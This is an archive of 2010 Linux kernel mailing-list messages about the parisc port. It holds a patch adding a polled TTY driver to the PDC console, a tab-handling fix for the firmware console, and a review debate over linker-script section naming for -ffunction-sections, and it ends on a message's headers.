diff --git a/arch/parisc/kernel/pdc_cons.c b/arch/parisc/kernel/pdc_cons.c
index 1ff366c..b838ef3 100644
--- a/arch/parisc/kernel/pdc_cons.c
+++ b/arch/parisc/kernel/pdc_cons.c
@@ -12,6 +12,7 @@
  *    Copyright (C) 2001 Helge Deller <deller at parisc-linux.org>
  *    Copyright (C) 2001 Thomas Bogendoerfer <tsbogend at parisc-linux.org>
  *    Copyright (C) 2002 Randolph Chung <tausq with parisc-linux.org>
+ *    Copyright (C) 2010 Guy Martin <gmsoft at tuxicoman.be>
  *
  *
  *    This program is free software; you can redistribute it and/or modify
@@ -31,12 +32,11 @@
 
 /*
  *  The PDC console is a simple console, which can be used for debugging 
- *  boot related problems on HP PA-RISC machines.
+ *  boot related problems on HP PA-RISC machines. It is also useful when no
+ *  other console works.
  *
  *  This code uses the ROM (=PDC) based functions to read and write characters
  *  from and to PDC's boot path.
- *  Since all character read from that path must be polled, this code never
- *  can or will be a fully functional linux console.
  */
 
 /* Define EARLY_BOOTUP_DEBUG to debug kernel related boot problems. 
@@ -53,6 +53,7 @@
 #include <asm/pdc.h>		/* for iodc_call() proto and friends */
 
 static DEFINE_SPINLOCK(pdc_console_lock);
+static struct console pdc_cons;
 
 static void pdc_console_write(struct console *co, const char *s, unsigned count)
 {
@@ -85,12 +86,138 @@ static int pdc_console_setup(struct console *co, char *options)
 
 #if defined(CONFIG_PDC_CONSOLE)
 #include <linux/vt_kern.h>
+#include <linux/tty_flip.h>
+
+#define PDC_CONS_POLL_DELAY (30 * HZ / 1000)
+
+static struct timer_list pdc_console_timer;
+
+extern struct console * console_drivers;
+
+static int pdc_console_tty_open(struct tty_struct *tty, struct file *filp)
+{
+
+	mod_timer(&pdc_console_timer, jiffies + PDC_CONS_POLL_DELAY);
+
+	return 0;
+}
+
+static void pdc_console_tty_close(struct tty_struct *tty, struct file *filp)
+{
+	if (!tty->count)
+		del_timer(&pdc_console_timer);
+}
+
+static int pdc_console_tty_write(struct tty_struct *tty, const unsigned char *buf, int count)
+{
+	pdc_console_write(NULL, buf, count);
+	return count;
+}
+
+static int pdc_console_tty_write_room(struct tty_struct *tty)
+{
+	return 32768; /* no limit, no buffer used */
+}
+
+static int pdc_console_tty_chars_in_buffer(struct tty_struct *tty)
+{
+	return 0; /* no buffer */
+}
+
+static struct tty_driver *pdc_console_tty_driver;
+
+static const struct tty_operations pdc_console_tty_ops = {
+	.open = pdc_console_tty_open,
+	.close = pdc_console_tty_close,
+	.write = pdc_console_tty_write,
+	.write_room = pdc_console_tty_write_room,
+	.chars_in_buffer = pdc_console_tty_chars_in_buffer,
+};
+
+static void pdc_console_poll(unsigned long unused)
+{
+
+	int data, count = 0;
+
+	struct tty_struct *tty = pdc_console_tty_driver->ttys[0];
+
+	if (!tty)
+		return;
+
+	while (1) {
+		data = pdc_console_poll_key(NULL);
+		if (data == -1)
+			break;
+		tty_insert_flip_char(tty, data & 0xFF, TTY_NORMAL);
+		count ++;
+	}
+
+	if (count)
+		tty_flip_buffer_push(tty);
+
+	if (tty->count && (pdc_cons.flags & CON_ENABLED))
+		mod_timer(&pdc_console_timer, jiffies + PDC_CONS_POLL_DELAY);
+}
+
+static int __init pdc_console_tty_driver_init(void)
+{
+
+	int err;
+	struct tty_driver *drv;
+
+	/* Check if the console driver is still registered.
+	 * It is unregistered if the pdc console was not selected as the
+	 * primary console. */
+
+	struct console *tmp = console_drivers;
+
+	for (tmp = console_drivers; tmp; tmp = tmp->next)
+		if (tmp == &pdc_cons)
+			break;
+	
+	if (!tmp) {
+		printk(KERN_INFO "PDC console driver not registered anymore, not creating %s\n", pdc_cons.name);
+		return -ENODEV;
+	}
+
+	printk(KERN_INFO "The PDC console driver is still registered, removing CON_BOOT flag\n");
+	pdc_cons.flags &= ~CON_BOOT;
+
+	drv = alloc_tty_driver(1);
+
+	if (!drv)
+		return -ENOMEM;
+	
+	drv->driver_name = "pdc_cons";
+	drv->name = "ttyB";
+	drv->major = MUX_MAJOR;
+	drv->minor_start = 0;
+	drv->type = TTY_DRIVER_TYPE_SYSTEM;
+	drv->init_termios = tty_std_termios;
+	drv->flags = TTY_DRIVER_REAL_RAW | TTY_DRIVER_RESET_TERMIOS;
+	tty_set_operations(drv, &pdc_console_tty_ops);
+
+	err = tty_register_driver(drv);
+	if (err) {
+		printk(KERN_ERR "Unable to register the PDC console TTY driver\n");
+		return err;
+	}
+
+	pdc_console_tty_driver = drv;
+
+	/* No need to initialize the pdc_console_timer if tty isn't allocated */
+	init_timer(&pdc_console_timer);
+	pdc_console_timer.function = pdc_console_poll;
+
+	return 0;
+}
+
+module_init(pdc_console_tty_driver_init);
 
 static struct tty_driver * pdc_console_device (struct console *c, int *index)
 {
-	extern struct tty_driver console_driver;
-	*index = c->index ? c->index-1 : fg_console;
-	return &console_driver;
+	*index = c->index;
+	return pdc_console_tty_driver;
 }
 #else
 #define pdc_console_device NULL
@@ -101,7 +228,7 @@ static struct console pdc_cons = {
 	.write =	pdc_console_write,
 	.device =	pdc_console_device,
 	.setup =	pdc_console_setup,
-	.flags =	CON_BOOT | CON_PRINTBUFFER | CON_ENABLED,
+	.flags =	CON_BOOT | CON_PRINTBUFFER,
 	.index =	-1,
 };
 

--MP_/VRBeZmNKgI2oDLfo3pBW1Rk--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Fleming <matt@console-pimps.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 4/5] parisc: Remove *(.text.*) pattern from the linker script
Date: Mon, 14 Jun 2010 20:13:50 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <877hm1zatt.fsf@linux-g6p1.site>
References: <1276519112-11649-1-git-send-email-matt@console-pimps.org> <1276519112-11649-4-git-send-email-matt@console-pimps.org> <1276528859.5374.29.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1276542838 5849 80.91.229.12 (14 Jun 2010 19:13:58 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 14 Jun 2010 19:13:58 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>,
	linux-kernel@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-arch-owner@vger.kernel.org Mon Jun 14 21:13:54 2010
connect(): No such file or directory
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1OOF6X-0005es-G7
	for glka-linux-arch@lo.gmane.org; Mon, 14 Jun 2010 21:13:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753415Ab0FNTNw (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Mon, 14 Jun 2010 15:13:52 -0400
Original-Received: from arkanian.console-pimps.org ([212.110.184.194]:46753 "EHLO
	arkanian.console-pimps.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753378Ab0FNTNv (ORCPT
	<rfc822;linux-arch@vger.kernel.org>);
	Mon, 14 Jun 2010 15:13:51 -0400
Original-Received: from localhost (cpc5-brad6-0-0-cust25.barn.cable.virginmedia.com [82.38.64.26])
	by arkanian.console-pimps.org (Postfix) with ESMTPSA id 69EF648001;
	Mon, 14 Jun 2010 20:13:50 +0100 (BST)
In-Reply-To: <1276528859.5374.29.camel@mulgrave.site>
User-Agent: Notmuch/0.3.1-61-g3f63bb6 (http://notmuchmail.org) Emacs/23.1.90.2 (x86_64-unknown-linux-gnu)
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:6649 gmane.linux.kernel:998570 gmane.linux.ports.parisc:2918
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2918>

On Mon, 14 Jun 2010 10:20:59 -0500, James Bottomley <James.Bottomley@HansenPartnership.com> wrote:
> 
> This would destroy all of the named parisc text ordering we do above the
> removed line because now you'd have swept up all the function sections
> before we get to them, won't it?

Argh, sorry, you're completely right. I was a bit overzealous with this
change. I'll drop it. In fact, given the very specific things that
parisc does with the .text.* sections, this entire series makes no sense
- it doesn't make sense to change TEXT_TEXT in a way that means parisc
can no longer use it.

Thanks for the review, James.

From - Thu Nov 08 21:06:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: pass through '\t' to early (iodc) console
Date: Mon, 14 Jun 2010 22:08:44 +0200
Lines: 60
Approved: news@gmane.org
Message-ID: <4C168C4C.9080706@gmx.de>
References: <20100614160227.GK20317@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1276546134 18640 80.91.229.12 (14 Jun 2010 20:08:54 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 14 Jun 2010 20:08:54 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 14 22:08:53 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OOFxh-0004eC-OX
	for glpp-linux-parisc@lo.gmane.org; Mon, 14 Jun 2010 22:08:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753791Ab0FNUIs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 14 Jun 2010 16:08:48 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:37844 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752341Ab0FNUIs (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 14 Jun 2010 16:08:48 -0400
Original-Received: (qmail invoked by alias); 14 Jun 2010 20:08:46 -0000
Original-Received: from p54AD17EA.dip0.t-ipconnect.de (EHLO halden.box) [84.173.23.234]
  by mail.gmx.net (mp032) with SMTP; 14 Jun 2010 22:08:46 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18UeNtqBaMUhIhYwO8nweH11F2X4WU2x6HJsGti2r
	7VcCENAuIAPhyv
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.9) Gecko/20100430 Fedora/3.0.4-2.fc11 Lightning/1.0b2pre Thunderbird/3.0.4
In-Reply-To: <20100614160227.GK20317@bombadil.infradead.org>
X-Enigmail-Version: 1.0.1
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2919
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2919>

On 06/14/2010 06:02 PM, Kyle McMartin wrote:
> The firmware handles '\t' internally, so stop trying to emulate it
> (which, incidentally, had a bug in it.)
> 
> Fixes a really weird hang at bootup in rcu_bootup_announce, which,
> as far as I can tell, is the first printk in the core kernel to use
> a tab as the first character.
> 
> Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>

Kernel boots now nicely.
Thanks Kyle!

Tested-by: Helge Deller <deller@gmx.de>


> ---
>  arch/parisc/kernel/firmware.c |   12 ++----------
>  1 files changed, 2 insertions(+), 10 deletions(-)
> 
> diff --git a/arch/parisc/kernel/firmware.c b/arch/parisc/kernel/firmware.c
> index 4c247e0..df971fa 100644
> --- a/arch/parisc/kernel/firmware.c
> +++ b/arch/parisc/kernel/firmware.c
> @@ -1123,7 +1123,6 @@ static char __attribute__((aligned(64))) iodc_dbuf[4096];
>   */
>  int pdc_iodc_print(const unsigned char *str, unsigned count)
>  {
> -	static int posx;        /* for simple TAB-Simulation... */
>  	unsigned int i;
>  	unsigned long flags;
>  
> @@ -1133,19 +1132,12 @@ int pdc_iodc_print(const unsigned char *str, unsigned count)
>  			iodc_dbuf[i+0] = '\r';
>  			iodc_dbuf[i+1] = '\n';
>  			i += 2;
> -			posx = 0;
>  			goto print;
> -		case '\t':
> -			while (posx & 7) {
> -				iodc_dbuf[i] = ' ';
> -				i++, posx++;
> -			}
> -			break;
>  		case '\b':	/* BS */
> -			posx -= 2;
> +			i--; /* overwrite last */
>  		default:
>  			iodc_dbuf[i] = str[i];
> -			i++, posx++;
> +			i++;
>  			break;
>  		}
>  	}

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 1/5] vmlinux.lds.h: Include *(.text.*) in TEXT_TEXT
Date: Mon, 14 Jun 2010 18:08:39 -0500
Lines: 135
Approved: news@gmane.org
Message-ID: <1276556919.5374.822.camel@mulgrave.site>
References: <1276519112-11649-1-git-send-email-matt@console-pimps.org>
	 <alpine.DEB.1.10.1006141014360.1432@dr-wily.mit.edu>
	 <87y6ehxvby.fsf@linux-g6p1.site> <1276545951.5374.260.camel@mulgrave.site>
	 <alpine.DEB.1.10.1006141608550.1248@dr-wily.mit.edu>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1276556929 24021 80.91.229.12 (14 Jun 2010 23:08:49 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 14 Jun 2010 23:08:49 +0000 (UTC)
Cc: Matt Fleming <matt@console-pimps.org>, linux-arch@vger.kernel.org,
	Arnd Bergmann <arnd@arndb.de>, linux-kernel@vger.kernel.org,
	Sam Ravnborg <sam@ravnborg.org>, Michal Marek <mmarek@suse.cz>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Tim Abbott <tabbott@ksplice.com>
Original-X-From: linux-arch-owner@vger.kernel.org Tue Jun 15 01:08:46 2010
connect(): No such file or directory
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1OOIlp-0000fW-MP
	for glka-linux-arch@lo.gmane.org; Tue, 15 Jun 2010 01:08:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757237Ab0FNXIo (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Mon, 14 Jun 2010 19:08:44 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:35699 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1757209Ab0FNXIm (ORCPT
	<rfc822;linux-arch@vger.kernel.org>);
	Mon, 14 Jun 2010 19:08:42 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 5EF4C8EE0F8;
	Mon, 14 Jun 2010 16:08:42 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id yrGQmFVRI8KF; Mon, 14 Jun 2010 16:08:42 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 14CB58EE0E4;
	Mon, 14 Jun 2010 16:08:41 -0700 (PDT)
In-Reply-To: <alpine.DEB.1.10.1006141608550.1248@dr-wily.mit.edu>
X-Mailer: Evolution 2.28.2 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:6656 gmane.linux.kernel:998710 gmane.linux.ports.parisc:2920
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2920>

On Mon, 2010-06-14 at 18:02 -0400, Tim Abbott wrote:
> On Mon, 14 Jun 2010, James Bottomley wrote:
> 
> > On Mon, 2010-06-14 at 20:33 +0100, Matt Fleming wrote:
> > > On Mon, 14 Jun 2010 10:32:46 -0400 (EDT), Tim Abbott <tabbott@ksplice.com> wrote:
> > > > 
> > > > I was planning to submit in the next couple weeks a change that adds 
> > > > support for building the kernel with -ffunction-sections -fdata-sections, 
> > > > which would have as a piece of it adding to TEXT_TEXT the following 
> > > > expression:
> > > > 
> > > > 	*(.text.[A-Za-z$_]*)	/* handle -ffunction-sections */\
> > 
> > Just as a point of technical interest, that won't handle
> > -ffunction-sections.  At least on parisc, we get a
> > section .text.<function name> for every function.  This means that any
> > character legal in a function name can appear there, not just letters
> > and underscores (we get millicode ones with dollar signs as well for
> > instance).  That's why *(.text.*) is safer
> 
> Hi James,
> 
> I believe that the pattern [A-Za-z$_] matches all valid characters to 
> start a function name (in particular, it includes "$").  If I'm missing 
> any valid characters for the start of a function name, please correct me.

Well, our linker seems to generate annoying symbols with carets in
them ...

> To give some background, the strategy here for -ffunction-sections support 
> is to have the kernel's "magic" text sections all start with
> 
> ".text.."
> 
> while the sections generated by -ffunction-sections will start with
> 
> ".text." followed by a character other than "."
> 
> These sets are disjoint, and so if we have a complete set of valid next 
> characters in the pattern ".text.[A-Za-z$_]*", it will be just as good as 
> ".text.*" for matching the sections produced by -ffunction-sections.  (As 
> a sidenote, I would prefer .text.[^.], but I don't believe that is valid 
> linker script syntax).
> 
> While one could in principle try to handle things by not renaming the 
> .text.foo sections and instead just placing the linker script code for 
> them all before a .text.* item in the linker script, that approach is 
> really fragile.  I think the "text..foo" approach is a good design and I 
> am not aware of any problems with it.

OK, but how about some actual explanation?  You've just characterised
the current -ffunction-sections scheme that parisc has used for decades
as "fragile"

> Some more detailed explanation is available here:
> <http://lkml.org/lkml/2010/2/19/365>

That's still a bit short on explanations.

But if I infer from the rest, someone, somewhere broke the convention
that all our special linux sections be called .XX.data and .XX.text to
distinguish them from the .text.FF and .data.YY the compiler will
generate with the relevant sectional directives? because it's been
working OK for us for a while.

To fix the breakage, the proposal now is to name all linux special
sections as .text..XX and .data..XX?  I can see that's more standard
looking that XX.text and XX.data, but not necessarily that it's better.

This then introduces a problem of matching because .text.X and .text..X
are hard to distinguish using the linker matching scripts.

So even if I buy the rename of the linux symbols, what about using a
linker defined symbol that's illegal as a function as the initial
separator instead of .?  So hyphen looks the obvious one ... you can
have all the linux special sections being .text- and .data- then we can
easily distinguish.

James

> > > > which should match the .text.foo sections generated by -ffunction-sections 
> > > > but not the kernel's special sections which now all have names of the form 
> > > > .text..foo.
> > 
> > They do?  I don't find any symbols like that on parisc.
> > 
> > Historically, the way we've differentiated is that kernel special
> > symbols tend to have the text designator *after* the name, whereas the
> > linker puts it before  ... of course that has issues for functions
> > called things like text or init ... but we try not to do that ...
> 
> It looks like the patches for the .text.foo rename haven't been sent yet, 
> my mistake.  I've primarily been tracking the much larger .data.foo -> 
> .data..foo transition.  I expect a patch series to rename the remaining 
> sections and add -ffunction-sections support will be sent by either Denys 
> Vlasenko or myself in the next few weeks.
> 
> While the kernel does use section names like ".init.text", there were 
> before quite recently a very large number of kernel special sections with 
> names like ".data.page_aligned" which would conflict with:
> 
> static int page_aligned;
> 
> when compiling with -fdata-sections.
> 
> In fact, we initially sent patches that changed these all to e.g. 
> ".page_aligned.data".  But we discovered that it is problem when writing 
> assembly files, since if you write:
> 
> .section ".page_aligned.data"
> 
> it doesn't work  -- you need to specify the load flags like so:
> 
> .section ".page_aligned.data", "aw"
> 
> while if you write e.g.
> 
> .section ".data..page_aligned"
> 
> the assembler will automatically set the right load flags for read/write 
> data.
> 
> Since this is a subtle issue and I'd be surprised if there weren't a lot 
> of people who work on assembly code in the kernel who don't know about 
> this subtle issue, the ".page_aligned.data" naming scheme is destined to 
> result in some frustrating bugs.  So we settled on the more bug-proof 
> ".data..page_aligned" naming scheme for adding -fdata-sections support.
> 
> It would probably be a good cleanup to go through and rename e.g. 
> .init.text to .text..init so that we're consistent everywhere, but I'd 
> like to get -ffunction-sections working before starting that project 
> myself.




From - Thu Nov 08 21:06:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 1/5] vmlinux.lds.h: Include *(.text.*) in TEXT_TEXT
Date: Mon, 14 Jun 2010 18:14:59 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <1276557299.5374.847.camel@mulgrave.site>
References: <1276519112-11649-1-git-send-email-matt@console-pimps.org>
	 <alpine.DEB.1.10.1006141014360.1432@dr-wily.mit.edu>
	 <87y6ehxvby.fsf@linux-g6p1.site>
	 <alpine.DEB.1.10.1006141534490.1248@dr-wily.mit.edu>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1276557311 25104 80.91.229.12 (14 Jun 2010 23:15:11 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 14 Jun 2010 23:15:11 +0000 (UTC)
Cc: Matt Fleming <matt@console-pimps.org>, linux-arch@vger.kernel.org,
	Arnd Bergmann <arnd@arndb.de>, linux-kernel@vger.kernel.org,
	Sam Ravnborg <sam@ravnborg.org>, Michal Marek <mmarek@suse.cz>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	linux-parisc@vger.kernel.org
To: Tim Abbott <tabbott@ksplice.com>
Original-X-From: linux-arch-owner@vger.kernel.org Tue Jun 15 01:15:07 2010
connect(): No such file or directory
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1OOIry-0002vd-NV
	for glka-linux-arch@lo.gmane.org; Tue, 15 Jun 2010 01:15:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752927Ab0FNXPE (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Mon, 14 Jun 2010 19:15:04 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:34185 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751201Ab0FNXPC (ORCPT
	<rfc822;linux-arch@vger.kernel.org>);
	Mon, 14 Jun 2010 19:15:02 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 6EEB38EE101;
	Mon, 14 Jun 2010 16:15:02 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id u880nYBaw2pU; Mon, 14 Jun 2010 16:15:02 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 6E0768EE0E4;
	Mon, 14 Jun 2010 16:15:01 -0700 (PDT)
In-Reply-To: <alpine.DEB.1.10.1006141534490.1248@dr-wily.mit.edu>
X-Mailer: Evolution 2.28.2 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:6657 gmane.linux.kernel:998712 gmane.linux.ports.parisc:2921
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2921>

On Mon, 2010-06-14 at 18:21 -0400, Tim Abbott wrote:
> On Mon, 14 Jun 2010, Matt Fleming wrote:
> 
> > Do these special kernel sections include things like the parisc
> > .text.do_softirq, .text.sys_exit, etc? James raised a good objection to
> > the parisc patch of this series. I'm guessing most people saw it already
> > but I'll paste it here for reference,
> > 
> >     This would destroy all of the named parisc text ordering we do above the
> >     removed line because now you'd have swept up all the function sections
> >     before we get to them, won't it?
> > 
> >     The ordering is an execution speed up on 32 bit systems because our
> >     relative jump is so short.
> > 
> > Will you changes handle this OK?
> 
> I think I addressed this in my reply to James just now, but to be super 
> clear, this -ffunction-sections plan involves renaming .text.do_softirq to 
> .text..do_softirq (etc.) first.

OK, so that doesn't make a lot of sense to me; I suspect because you
don't understand what parisc is doing.  These aren't names of linux
special sections ... they're names of function sections.  For
efficiency, we take specific hot functions and place them together in
the linker script so the jumps between them are small enough to be coded
as relative on the 32 bit architecture.  It's really just a more
efficient way of laying out the binary.

James



From - Thu Nov 08 21:06:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Abbott <tabbott@ksplice.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: Re: [PATCH 1/5] vmlinux.lds.h: Include *(.text.*) in TEXT_TEXT
Date: Mon, 14 Jun 2010 22:45:35 -0400 (EDT)
Lines: 166
Approved: news@gmane.org
Message-ID: <alpine.DEB.1.10.1006142039250.1248@dr-wily.mit.edu>
References: <1276519112-11649-1-git-send-email-matt@console-pimps.org>  <alpine.DEB.1.10.1006141014360.1432@dr-wily.mit.edu>  <87y6ehxvby.fsf@linux-g6p1.site> <1276545951.5374.260.camel@mulgrave.site>  <alpine.DEB.1.10.1006141608550.1248@dr-wily.mit.edu>
 <1276556919.5374.822.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1276569962 23608 80.91.229.12 (15 Jun 2010 02:46:02 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 15 Jun 2010 02:46:02 +0000 (UTC)
Cc: Matt Fleming <matt@console-pimps.org>, linux-arch@vger.kernel.org,
	Arnd Bergmann <arnd@arndb.de>, linux-kernel@vger.kernel.org,
	Sam Ravnborg <sam@ravnborg.org>, Michal Marek <mmarek@suse.cz>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 15 04:45:59 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OOM9z-0001yA-Jv
	for glpp-linux-parisc@lo.gmane.org; Tue, 15 Jun 2010 04:45:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756311Ab0FOCpl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 14 Jun 2010 22:45:41 -0400
Original-Received: from mail-vw0-f46.google.com ([209.85.212.46]:61500 "EHLO
	mail-vw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753632Ab0FOCpk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 14 Jun 2010 22:45:40 -0400
Original-Received: by vws13 with SMTP id 13so593343vws.19
        for <multiple recipients>; Mon, 14 Jun 2010 19:45:38 -0700 (PDT)
Original-Received: by 10.224.78.142 with SMTP id l14mr2744058qak.174.1276569938414;
        Mon, 14 Jun 2010 19:45:38 -0700 (PDT)
Original-Received: from ksplice.com (DR-WILY.MIT.EDU [18.181.0.233])
        by mx.google.com with ESMTPS id bv23sm16800917qcb.25.2010.06.14.19.45.36
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Mon, 14 Jun 2010 19:45:37 -0700 (PDT)
